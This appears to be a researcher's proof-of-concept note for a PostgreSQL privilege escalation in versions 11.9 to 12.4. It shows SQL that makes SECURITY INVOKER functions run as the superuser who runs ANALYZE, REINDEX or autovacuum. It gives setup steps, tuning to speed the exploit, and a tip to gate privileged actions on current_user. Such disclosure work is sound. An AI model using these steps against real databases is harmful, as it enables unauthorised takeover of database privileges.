This should give a priv-esc from low privileged user to that of the user who runs ANALYZE
, VACUUM ANALYZE
or REINDEX
.
First create a new database and new user who has access rights to that database :
CREATE USER foo WITH PASSWORD 'baz';
CREATE DATABASE fooz;
ALTER DATABASE fooz OWNER TO foo;
Now with the new unprivileged user, execute the commands from the gist.
Once done, as the privileged user (using postgres in this case), execute ANALYZE
, VACUUM ANALYZE
or REINDEX
. Then check the contents of t1
.
ANALYZE blah;
SELECT * FROM t1;
t1
should only have foo
as the user, however it will have the user postgres
(check against t0
which only has foo
). The expected behaviour is that nothing should execute as the invoking user, rather everything should be done as the owner, and unprivileged user, foo
.
A REINDEX
will also trigger the index function and lead to execution as the invoking user, rather than the owner.
To trigger via AUTOVACUUM the existing PoC can be used. Autovacuum however requires the full path to functions and tables to be set, so for the database fooz
instead of:
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO t0 VALUES (current_user); SELECT $1';
Use
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO fooz.public.t0 VALUES (current_user); SELECT $1';
The exploit can be sped up by setting the autovacuum_analyze_threshold
and autovacuum_vacuum_thresholds
to be more agressive, as shown in the second PoC gist.
- 12.4 -- PostgreSQL 12.4 (Debian 12.4-1.pgdg100+1)
- 12.3 -- PostgreSQL 12.3 (Debian 12.3-1.pgdg100+1)
- 11.9 -- PostgreSQL 11.9 (Debian 11.9-1.pgdg90+1)
For doing more privileged actions, it is necessary to do a check in the
strig()
function to ensure that the transaction will actually execute. This is done by checking if thecurrent_user
is the expected privileged user (such aspostgres
) and then executing the higher privileged action. Otherwise, just execute a low privileged function.Privilege escalation via the
autovacuum
process:Top frame shows the autovacuum log, bottom frame shows triggering autovacuum with INSERT/DELETE.